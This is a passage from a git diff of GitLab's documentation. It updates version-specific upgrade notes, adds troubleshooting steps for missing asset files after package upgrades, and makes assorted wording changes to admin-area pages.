lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.5.5 + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.5.4 + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.5.3 + +- GitLab 15.4.0 introduced a default [Sidekiq routing rule](../administration/sidekiq/extra_sidekiq_routing.md) that routes all jobs to the `default` queue. For instances using [queue selectors](../administration/sidekiq/processing_specific_job_classes.md#queue-selectors), this will cause [performance problems](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1991) as some Sidekiq processes will be idle. + - The default routing rule has been reverted in 15.5.4, so upgrading to that version or later will return to the previous behavior. + - If a GitLab instance now listens only to the `default` queue (which is not currently recommended), it will be required to add this routing rule back in `/etc/gitlab/gitlab.rb`: + + ```ruby + sidekiq['routing_rules'] = [['*', 'default']] + ``` + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.5.2 + +- GitLab 15.4.0 introduced a default [Sidekiq routing rule](../administration/sidekiq/extra_sidekiq_routing.md) that routes all jobs to the `default` queue. For instances using [queue selectors](../administration/sidekiq/processing_specific_job_classes.md#queue-selectors), this will cause [performance problems](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1991) as some Sidekiq processes will be idle. + - The default routing rule has been reverted in 15.5.4, so upgrading to that version or later will return to the previous behavior. + - If a GitLab instance now listens only to the `default` queue (which is not currently recommended), it will be required to add this routing rule back in `/etc/gitlab/gitlab.rb`: + + ```ruby + sidekiq['routing_rules'] = [['*', 'default']] + ``` + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.5.1 + +- GitLab 15.4.0 introduced a default [Sidekiq routing rule](../administration/sidekiq/extra_sidekiq_routing.md) that routes all jobs to the `default` queue. For instances using [queue selectors](../administration/sidekiq/processing_specific_job_classes.md#queue-selectors), this will cause [performance problems](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1991) as some Sidekiq processes will be idle. + - The default routing rule has been reverted in 15.5.4, so upgrading to that version or later will return to the previous behavior. + - If a GitLab instance now listens only to the `default` queue (which is not currently recommended), it will be required to add this routing rule back in `/etc/gitlab/gitlab.rb`: + + ```ruby + sidekiq['routing_rules'] = [['*', 'default']] + ``` + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.5.0 @@ -372,15 +520,43 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap sidekiq['routing_rules'] = [['*', 'default']] ``` -### 15.4.1 +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. -A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) prevents some premium features of GitLab from working correctly if you add a new license. Workarounds for this issue: +### 15.4.6 -- Restart all Rails, Sidekiq and Gitaly nodes after applying a new license. This clears the relevant license caches and allows all premium features to operate correctly. -- Upgrade to a version that is not impacted by this issue. The following upgrade paths are available for impacted versions: - - 15.2.5 --> 15.3.5 - - 15.3.0 - 15.3.4 --> 15.3.5 - - 15.4.1 --> 15.4.3 +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.4.5 + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.4.4 + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.4.3 + +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.4.2 + +- A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) prevents some premium features of GitLab from working correctly if you add a new license. Workarounds for this issue: + - Restart all Rails, Sidekiq and Gitaly nodes after applying a new license. This clears the relevant license caches and allows all premium features to operate correctly. + - Upgrade to a version that is not impacted by this issue. The following upgrade paths are available for impacted versions: + - 15.2.5 --> 15.3.5 + - 15.3.0 - 15.3.4 --> 15.3.5 + - 15.4.1 --> 15.4.3 +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.4.1 + +- A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) prevents some premium features of GitLab from working correctly if you add a new license. Workarounds for this issue: + - Restart all Rails, Sidekiq and Gitaly nodes after applying a new license. This clears the relevant license caches and allows all premium features to operate correctly. + - Upgrade to a version that is not impacted by this issue. The following upgrade paths are available for impacted versions: + - 15.2.5 --> 15.3.5 + - 15.3.0 - 15.3.4 --> 15.3.5 + - 15.4.1 --> 15.4.3 +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.4.0 @@ -404,8 +580,9 @@ A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) `/etc/gitlab/gitlab.rb`, make sure `/etc/gitlab/gitlab-secrets.json` is the same on all nodes. - GitLab 15.4.0 introduced a [batched background migration](background_migrations.md#batched-background-migrations) to [backfill `namespace_id` values on issues table](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91921). This - migration might take multiple hours or days to complete on larger GitLab instances. Please make sure the migration + migration might take multiple hours or days to complete on larger GitLab instances. Make sure the migration has completed successfully before upgrading to 15.7.0 or later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.3.4 @@ -487,7 +664,7 @@ A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) fork/exec /var/opt/gitlab/gitaly/run/gitaly-<nnnn>/gitaly-git2go-v15: permission denied ``` - To resolve this, remove the `noexec` option from the filesystem mount. An alternative is to change the Gitaly runtime directory: + To resolve this, remove the `noexec` option from the file system mount. An alternative is to change the Gitaly runtime directory: 1. Add `gitaly['runtime_dir'] = '<PATH_WITH_EXEC_PERM>'` to `/etc/gitlab/gitlab.rb` and specify a location without `noexec` set. 1. Run `sudo gitlab-ctl reconfigure`. @@ -509,7 +686,7 @@ A [license caching issue](https://gitlab.com/gitlab-org/gitlab/-/issues/376706) 1. [Enable the `active_support_hash_digest_sha256` feature flag](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to switch `ActiveSupport::Digest` to use SHA256: 1. Only then, continue to upgrade to later versions of GitLab. - Unauthenticated requests to the [`ciConfig` GraphQL field](../api/graphql/reference/index.md#queryciconfig) are no longer supported. - Before you upgrade to GitLab 15.1, add an [access token](../api/index.md#authentication) to your requests. + Before you upgrade to GitLab 15.1, add an [access token](../api/rest/index.md#authentication) to your requests. The user creating the token must have [permission](../user/permissions.md) to create pipelines in the project. - [Incorrect deletion of object storage files on Geo secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/371397) can occur in certain situations. See [Geo: Incorrect object storage LFS file deletion on secondary site issue in GitLab 15.0.0 to 15.3.2](#geo-incorrect-object-storage-lfs-file-deletion-on-secondary-sites-in-gitlab-1500-to-1532). - LFS transfers can [redirect to the primary from secondary site mid-session](https://gitlab.com/gitlab-org/gitlab/-/issues/371571) causing failed pull and clone requests when [Geo proxying](../administration/geo/secondary_proxy/index.md) is enabled. Geo proxying is enabled by default in GitLab 15.1 and later. See [Geo: LFS transfer redirect to primary from secondary site mid-session issue in GitLab 15.1.0 to 15.3.2](#geo-lfs-transfers-redirect-to-primary-from-secondary-site-mid-session-in-gitlab-1510-to-1532) for more details. @@ -828,7 +1005,7 @@ for how to proceed. ``` NOTE: - The queued jobs can be monitored using Sidekiq's admin panel, which can be accessed at the `/admin/sidekiq` endpoint URI. + The queued jobs can be monitored using the Sidekiq admin panel, which can be accessed at the `/admin/sidekiq` endpoint URI. - Using a Rails process to run jobs synchronously: diff --git a/doc/update/package/index.md b/doc/update/package/index.md index 575194793c2..34c7c096a8d 100644 --- a/doc/update/package/index.md +++ b/doc/update/package/index.md @@ -340,3 +340,147 @@ To fix this error: sudo gitlab-ctl hup puma sudo gitlab-ctl restart sidekiq ``` + +### Missing asset files + +Following an upgrade, GitLab might not be correctly serving up assets such as images, JavaScript, and style sheets. +It might be generating 500 errors, or the web UI may be failing to render properly. + +In a scaled out GitLab environment, if one web server behind the load balancer is demonstrating +this issue, the problem occurs intermittently. + +The [Rake task to recompile](../../administration/raketasks/maintenance.md#precompile-the-assets) the +assets doesn't apply to an Omnibus installation which serves +pre-compiled assets from `/opt/gitlab/embedded/service/gitlab-rails/public/assets`. + +Potential causes and fixes: + +- [Ensure no old processes are running](#old-processes). +- [Remove duplicate sprockets files](#duplicate-sprockets-files) +- [The installation is incomplete](#incomplete-installation) +- [NGINX Gzip support is disabled](#nginx-gzip-support) + +#### Old processes + +The most likely cause is that an old Puma process is running, instructing clients +to request asset files from a previous release of GitLab. As the files no longer exist, +HTTP 404 errors are returned. + +A reboot is the best way to ensure these old Puma processes are no longer running. + +Alternatively: + +1. Stop Puma: + + ```shell + gitlab-ctl stop puma + ``` + +1. Check for any remaining Puma processes, and kill them: + + ```shell + ps -ef | egrep 'puma[: ]' + kill <processid> + ``` + +1. Verify with `ps` that the Puma processes have stopped running. + +1. Start Puma + + ```shell + gitlab-ctl start puma + ``` + +#### Duplicate sprockets files + +The compiled asset files have unique file names in each release. The sprockets files +provide a mapping from the filenames in the application code to the unique filenames. + +```plaintext +/opt/gitlab/embedded/service/gitlab-rails/public/assets/.sprockets-manifest*.json +``` + +Make sure there's only one sprockets file. [Rails uses the first one](https://github.com/rails/sprockets-rails/blob/118ce60b1ffeb7a85640661b014cd2ee3c4e3e56/lib/sprockets/railtie.rb#L201). + +A check for duplicate sprockets files runs during Omnibus GitLab upgrades: + +```plaintext +GitLab discovered stale file(s) from the previous install that need to be cleaned up. +The following files need to be removed: + +/opt/gitlab/embedded/service/gitlab-rails/public/assets/.sprockets-manifest-e16fdb7dd73cfdd64ed9c2cc0e35718a.json +``` + +Options for resolving this include: + +- If you have the output from the package upgrade, remove the specified files. Then restart Puma: + + ```shell + gitlab-ctl restart puma + ``` + +- If you don't have the message, perform a reinstall + (see [incomplete installation](#incomplete-installation) below for more details) + to generate it again. + +- Remove all the sprockets files and then follow the instructions for an [incomplete installation](#incomplete-installation). + +#### Incomplete installation + +An incomplete installation could be the cause of this issue. + +Verify the package to determine if this is the problem: + +- For Debian distributions: + + ```shell + apt-get install debsums + debsums -c gitlab-ee + ``` + +- For Red Hat/SUSE (RPM) distributions: + + ```shell + rpm -V gitlab-ee + ``` + +To reinstall the package to fix an incomplete installation: + +1. Check the installed version + + - For Debian distributions: + + ```shell + apt --installed list gitlab-ee + ``` + + - For Red Hat/SUSE (RPM) distributions: + + ```shell + rpm -qa gitlab-ee + ``` + +1. Reinstall the package, specifying the installed version. For example 14.4.0 Enterprise Edition: + + - For Debian distributions: + + ```shell + apt-get install --reinstall gitlab-ee=14.4.0-ee.0 + ``` + + - For Red Hat/SUSE (RPM) distributions: + + ```shell + yum reinstall gitlab-ee-14.4.0 + ``` + +#### NGINX Gzip support + +Check whether `nginx['gzip_enabled']` has been disabled: + +```shell +grep gzip /etc/gitlab/gitlab.rb +``` + +This might prevent some assets from being served. +[Read more](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6087#note_558194395) in one of the related issues. diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md index efbe1bc7fcd..8e62718125b 100644 --- a/doc/update/patch_versions.md +++ b/doc/update/patch_versions.md @@ -11,7 +11,7 @@ comments: false Make sure you view [this update guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/update/patch_versions.md) from the tag (version) of GitLab you would like to install. In most cases this should be the highest numbered production tag (without `rc` in it). -You can select the tag in the version dropdown list in the top left corner of GitLab (below the menu bar). +You can select the tag in the version dropdown list in the upper-left corner of GitLab (below the menu bar). ### 0. Backup diff --git a/doc/update/plan_your_upgrade.md b/doc/update/plan_your_upgrade.md index 667ed37af02..5b4ecb96747 100644 --- a/doc/update/plan_your_upgrade.md +++ b/doc/update/plan_your_upgrade.md @@ -192,7 +192,7 @@ If anything doesn't go as planned: you installed GitLab using the Helm Charts. - For support: - [Contact GitLab Support](https://support.gitlab.com) and, - if you have one, your Technical Account Manager. + if you have one, your [Customer Success Managers](https://about.gitlab.com/job-families/sales/customer-success-management/). - If [the situation qualifies](https://about.gitlab.com/support/#definitions-of-support-impact) and [your plan includes emergency support](https://about.gitlab.com/support/#priority-support), create an emergency ticket. diff --git a/doc/update/removals.md b/doc/update/removals.md index 10d937f0f16..ae42ba53fd5 100644 --- a/doc/update/removals.md +++ b/doc/update/removals.md @@ -34,18 +34,6 @@ For removal reviewers (Technical Writers only): https://about.gitlab.com/handbook/marketing/blog/release-posts/#update-the-removals-doc --> -## Removed in 16.0 - -### Changing merge request approvals with the `/approvals` API endpoint - -WARNING: -This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). -Review the details carefully before upgrading. - -To change the approvals required for a merge request, you should no longer use the `/approvals` API endpoint, which was deprecated in GitLab 12.3. - -Instead, use the [`/approval_rules` endpoint](https://docs.gitlab.com/ee/api/merge_request_approvals.html#merge-request-level-mr-approvals) to [create](https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-merge-request-level-rule) or [update](https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-merge-request-level-rule) the approval rules for a merge request. - ## Removed in 15.8 ### CiliumNetworkPolicy within the auto deploy Helm chart is removed @@ -59,6 +47,16 @@ If you want to preserve this functionality, you can follow one of these two path ## Removed in 15.7 +### File Type variable expansion in `.gitlab-ci.yml` + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Prior to this change, variables that referenced or applied alias file variables expanded the value of the `File` type variable. For example, the file contents. This behavior was incorrect because it did not comply with typical shell variable expansion rules. A user could run an $echo command with the variable as an input parameter to leak secrets or sensitive information stored in 'File' type variables. + +In 15.7, we are removing file type variable expansion from GitLab. It is essential to check your CI pipelines to confirm if your scripts reference a file variable. If your CI job relies on the previous expansion functionality, that CI job will not work and generate an error as of 15.7. The new behavior is that variable expansion that reference or apply alias file variables expand to the file name or path of the `File` type variable, instead of its value, such as the file contents. + ### Flowdock integration As of December 22, 2022, we are removing the Flowdock integration because the service was shut down on August 15, 2022. diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index 852b54c7339..e4c2f0003af 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -8,7 +8,7 @@ comments: false # Upgrading Community Edition and Enterprise Edition from source **(FREE SELF)** Make sure you view this update guide from the branch (version) of GitLab you -would like to install (for example, `11.8`). You can select the required version of documentation in the dropdown list at the top right corner of GitLab documentation page. +would like to install (for example, `11.8`). You can select the required version of documentation in the dropdown list in the upper-right corner of GitLab documentation page. In each of the following examples, replace `BRANCH` with the branch of the version you upgrading to (for example, `11-8-stable` for `11.8`). Replace `PREVIOUS_BRANCH` with the branch for the version you are upgrading from (for example, `11-7-stable` for `11.7`). diff --git a/doc/update/zero_downtime.md b/doc/update/zero_downtime.md index a849033c3e5..bb5cd195e5d 100644 --- a/doc/update/zero_downtime.md +++ b/doc/update/zero_downtime.md @@ -636,7 +636,7 @@ sudo touch /etc/gitlab/skip-auto-reconfigure sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-rake db:migrate ``` -1. If this deploy node is normally used to serve requests or process jobs, +1. If this deploy node is used to serve requests or process jobs, then you may return it to service at this point. - To serve requests, add the deploy node to the load balancer. @@ -706,7 +706,7 @@ sudo touch /etc/gitlab/skip-auto-reconfigure sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-rake db:migrate:geo ``` -1. If this deploy node is normally used to serve requests or perform +1. If this deploy node is used to serve requests or perform background processing, then you may return it to service at this point. - To serve requests, add the deploy node to the load balancer. diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md index a65c0c86649..a1fae7e8712 100644 --- a/doc/user/admin_area/appearance.md +++ b/doc/user/admin_area/appearance.md @@ -60,7 +60,7 @@ to activate it in the GitLab instance. You can replace the default message on the sign in / sign up page with your own message and logo. You can make full use of [Markdown](../markdown.md) in the description. -The optimal size for the logo is 640x360px, but any image can be used (below 1MB) +The optimal size for the logo is 128 x 128 pixels, but any image can be used (below 1 MB) and it is resized automatically. The logo image appears between the title and the description, on the left of the sign-up page. diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index df53ef0696f..5fee0c42a77 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -54,10 +54,10 @@ When a PAT is revoked from the credentials inventory, the instance notifies the > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/243833) in GitLab 14.8. -The **Revoke** button next to a project access token can be selected to revoke that particular project access token. This will both: +The **Revoke** button next to a project access token can be selected to revoke that particular project access token. This both: -- Revoke the token project access token. -- Enqueue a background worker to delete the project bot user. +- Revokes the token project access token. +- Enqueues a background worker to delete the project bot user.  diff --git a/doc/user/admin_area/geo_sites.md b/doc/user/admin_area/geo_sites.md index f3be036fd38..9fe36188dd0 100644 --- a/doc/user/admin_area/geo_sites.md +++ b/doc/user/admin_area/geo_sites.md @@ -52,7 +52,7 @@ How long the backfill takes is dependent on the maximum concurrency, but higher values place more strain on the **primary** site. The limits are configurable. If your **primary** site has lots of surplus capacity, you can increase the values to complete backfill in a shorter time. If it's -under heavy load and backfill reduces its availability for normal requests, +under heavy load and backfill reduces its availability for standard requests, you can decrease them. ## Set up the internal URLs diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index 559aae63da5..0375232334f 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -160,11 +160,11 @@ You can impersonate a user in the following ways: 1. On the left sidebar, select **Overview > Users**. 1. From the list of users, select a user. 1. Select **Impersonate**. -- With the API, using [impersonation tokens](../../api/index.md#impersonation-tokens). +- With the API, using [impersonation tokens](../../api/rest/index.md#impersonation-tokens). All impersonation activities are [captured with audit events](../../administration/audit_events.md#user-impersonation). -By default, impersonation is enabled. GitLab can be configured to [disable impersonation](../../api/index.md#disable-impersonation). +By default, impersonation is enabled. GitLab can be configured to [disable impersonation](../../api/rest/index.md#disable-impersonation).  diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md index 3d96eaf793f..a273798c8eb 100644 --- a/doc/user/admin_area/moderate_users.md +++ b/doc/user/admin_area/moderate_users.md @@ -17,7 +17,7 @@ pending approval state because an administrator has enabled any of the following - [Require administrator approval for new sign-ups](settings/sign_up_restrictions.md#require-administrator-approval-for-new-sign-ups) setting. - [User cap](settings/sign_up_restrictions.md#user-cap). -- [Block auto-created users (OmniAuth)](../../integration/omniauth.md#configure-initial-settings) +- [Block auto-created users (OmniAuth)](../../integration/omniauth.md#configure-common-settings) - [Block auto-created users (LDAP)](../../administration/auth/ldap/index.md#basic-configuration-settings) When a user registers for an account while this setting is enabled: @@ -69,7 +69,7 @@ GitLab administrators can block and unblock users. ### Block a user -In order to completely prevent access of a user to the GitLab instance, +To completely prevent access of a user to the GitLab instance, administrators can choose to block the user. Users can be blocked [via an abuse report](review_abuse_reports.md#blocking-users), @@ -129,7 +129,7 @@ GitLab administrators can deactivate and activate users. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22257) in GitLab 12.4. -In order to temporarily prevent access by a GitLab user that has no recent activity, +To temporarily prevent access by a GitLab user that has no recent activity, administrators can choose to deactivate the user. Deactivating a user is functionally identical to [blocking a user](#block-and-unblock-users), @@ -220,7 +220,6 @@ Users can also be activated using the [GitLab API](../../api/users.md#activate-u FLAG: On self-managed GitLab, by default this feature is available. -To hide the feature, ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ban_user_feature_flag`. On GitLab.com, this feature is available to GitLab.com administrators only. GitLab administrators can ban and unban users. Banned users are blocked, and their issues and merge requests are hidden. diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index 7f678344955..35a4c0aeea7 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -86,6 +86,9 @@ To modify the maximum file size for imports in GitLab: 1. On the left sidebar, select **Settings > General**, then expand **Account and limit**. 1. Increase or decrease by changing the value in **Maximum import size (MB)**. +This setting applies only to repositories +[imported from a GitLab export file](../../project/settings/import_export.md#import-a-project-and-its-data). + If you choose a size larger than the configured value for the web server, you may receive errors. See the [troubleshooting section](#troubleshooting) for more details. diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index 7c869c9b8fe..aa171fe4536 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -44,17 +44,17 @@ Any time a new project is created, the shared runners are available. As an administrator you can set either a global or namespace-specific limit on the number of [CI/CD minutes](../../../ci/pipelines/cicd_minutes.md) you can use. -## Enable a specific runner for multiple projects +## Enable a project runner for multiple projects -If you have already registered a [specific runner](../../../ci/runners/runners_scope.md#specific-runners) +If you have already registered a [project runner](../../../ci/runners/runners_scope.md#project-runners) you can assign that runner to other projects. -To enable a specific runner for more than one project: +To enable a project runner for more than one project: 1. On the top bar, select **Main menu > Admin**. 1. From the left sidebar, select **CI/CD > Runners**. 1. Select the runner you want to edit. -1. In the top right, select **Edit** (**{pencil}**). +1. In the upper right, select **Edit** (**{pencil}**). 1. Under **Restrict projects for this runner**, search for a project. 1. To the left of the project, select **Enable**. 1. Repeat this process for each additional project. @@ -91,7 +91,7 @@ can be set at: For the setting on GitLab.com, see [Artifacts maximum size](../../gitlab_com/index.md#gitlab-cicd). -The value is in MB and the default is 100MB per job. To change it at the: +The value is in MB and the default is 100 MB per job. To change it at the: - Instance level: @@ -247,7 +247,7 @@ To enable or disable the banner: > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/352316) from GitLab Premium to GitLab Ultimate in 15.0. NOTE: -An alternative [compliance solution](../../group/compliance_frameworks.md#configure-a-compliance-pipeline) +An alternative [compliance solution](../../group/compliance_frameworks.md#compliance-pipelines) is available. We recommend this alternative solution because it provides greater flexibility, allowing required pipelines to be assigned to specific compliance framework labels. @@ -336,6 +336,8 @@ To set the maximum file size: GitLab administrators can adjust who is allowed to register runners, by showing and hiding areas of the UI. +When the registration sections are hidden in the UI, members of the 